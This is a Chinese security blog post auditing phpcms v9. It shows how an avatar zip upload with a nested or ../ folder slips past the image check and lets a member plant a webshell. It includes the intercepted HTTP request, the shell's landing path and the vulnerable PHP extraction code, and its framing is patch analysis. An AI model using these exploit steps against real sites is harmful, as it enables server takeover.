您的位置 » 首页 » 代码审计 » 代码审计:phpcms v9前台会员中心上传头像可getshell

代码审计:phpcms v9前台会员中心上传头像可getshell

发表于4年前 | 作者: seay | 分类: 代码审计 | 孵化于:2013年12月12日 | 文章热度:11,669 次 全屏阅读

显示不全请点击全屏阅读

这个算杂记吧。难得老衲啰嗦一次。最开始是11月27号,突然看到一枚补丁。说是前台上传头像可getshell.立马被吸引住了。通过两份补丁的对比,发现在处理压缩包的过程中出现了一段删除当前文件夹下的全部文件夹。然后就菊花一紧。通过通读代码,发现上传的过程是

 
用户上传头像—通过flash里面的js把当前的头像处理成三张不同的格式,然后压缩
 
用户点击保存的时候把当前的压缩包直接上传的解包的位置,然后把图像释放出来。然后删除临时文件
 
利用过程就出来了,上传图片,然后在点击保存的时候进行抓包。然后发送的内容为自己的。
 
常用的就是burp,把包的内容给清理掉.替换为自己的,构造包的内容为带文件夹的。然后上传就可以了。


1:利用过程

 头像上传

抓包

POST /coder/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=dc64BlNRU1UCCAkCVVpUBgcHCVIHUFdTVVZRCVcUD1RfBRBGED4CEEZQZlkAQVxdEjVsVRJVB0MOKn4JUTEPBTQFDlVXLAocQG9SUQlzJA HTTP/1.1
Host: w
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: pIbCO_auth=7d75AlZVBwEJUQJRAVUOBQ5dAVMGUFZQA1UGAFdfBgBVMGJ0MCRmeHwgczdnMwhrezJfe3o0W2hXdXFpMiQBXFAkdWQyKnZwaSJ0K2knVXRqJl93fidmfFJ1ZnkwJGFXezBUXjIzQHB%2FI3MCdCdod30; pIbCO__userid=0389UVEEA1YFAlYDBVYBXgBXVwZbVgtaUVsAVQdU; pIbCO__username=3a02CFUBAFEJAQQFAANRDlwAB1xXXAIJVVULAwhRQloNS0Q; pIbCO__nickname=aaedBQYHAAEJAVYHAlcDVQkAVQ0MCVAIUANaUl1QQFENQEU; pIbCO__groupid=c88fBAEHVFZUUVYAVFdSAAJdUFQLCFcHBwlQAFoK; pgv_pvi=3195626496; KB705_uid=1; KB705_hash=4f323b42; KB705_subject_1=a%3A1%3A%7Bi%3A1%3Bs%3A4%3A%22xxxx%22%3B%7D; CNZZDATA1670348=cnzz_eid%3D1956334698-1385137117-http%253A%252F%252Fw%26ntime%3D1385196897%26cnzz_a%3D26%26ltime%3D1385196895825%26rtime%3D1; CKFinder_Path=upload%3A%2F%3A1; bdshare_firstime=1385212437421; PHPSESSID=56r0gabfklka4tfg6g4gr957h5
Connection: keep-alive
Referer: http://0day5.com/phpcms/phpsso_server/statics/images/main.swf
Content-type: application/octet-stream
Content-Length: 26847

选择特定的 zip 压缩文件 点击 forward 即可

 然后 shell的 目录为 phpsso_server/uploadfile/avatar/1/1/1/21/1/+压缩包内shell名称

 

红色值为 个人id 根据burp 返回的数据可以看到
2:漏洞分析
phpsso_server\phpcms\modules\phpsso\index.php

//存储flashpost图片
  $filename = $dir.$this->uid.'.zip';
  file_put_contents($filename, $this->avatardata);
 
//此时写入压缩文件夹内容
   
  //解压缩文件
  pc_base::load_app_class('pclzip', 'phpsso', 0);
  $archive = new PclZip($filename);
  if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
   die("Error : ".$archive->errorInfo(true));
  }
 
//568 行
 
//判断文件安全,删除压缩包和非jpg图片
  $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
  if($handle = opendir($dir)) {
      while(false !== ($file = readdir($handle))) {
    if($file !== '.' && $file !== '..') {
     if(!in_array($file, $avatararr)) {
      @unlink($dir.$file);
     } else {
      $info = @getimagesize($dir.$file);
      if(!$info || $info[2] !=2) {
       @unlink($dir.$file);
      }
     }
    }
      }

梳理下文件上传流程 把post 过来的zip内容吸入 zip文件 -> 解压 ->清除非图片文件
 漏洞就出在了最后一步 检查文件文件内容的时候 没有递归 也没有删除文件夹
 尼玛 狗血有木有 zip文件夹中里面在新建个文件夹 这样就绕过的检测 shell到手
 

然后在车上的时候就在想这个怎么图片,在ssh连接服务器执行 cd ..的时候突然想到,如果我们构造的包是../的文件夹呢~客观你说是吧。然后华丽丽的第二次突破就毫无节操的成功了。

来源:0day5.com

Tags:

phpcmsv9漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3545/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有4个筒子的人留下了脚印...

  • 老滚OL 说:
    1楼
    2013 年 12 月 12 日 上午 7:00 回复

    博主好人,马上更新补丁~填漏洞

  • inverse 说:
    2楼
    2014 年 4 月 28 日 上午 8:06 回复

    seay大牛,对于最后你说的二次突破没有太明白是什么意思,可以再简要说一下吗~~

    • 【管理员】seay 说:
      2014 年 4 月 28 日 下午 9:44 回复

      可以解压到上一级目录

  • 你好 说:
    3楼
    2014 年 7 月 21 日 上午 12:58 回复

    请问如何构造包是 ../ 的文件夹?

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)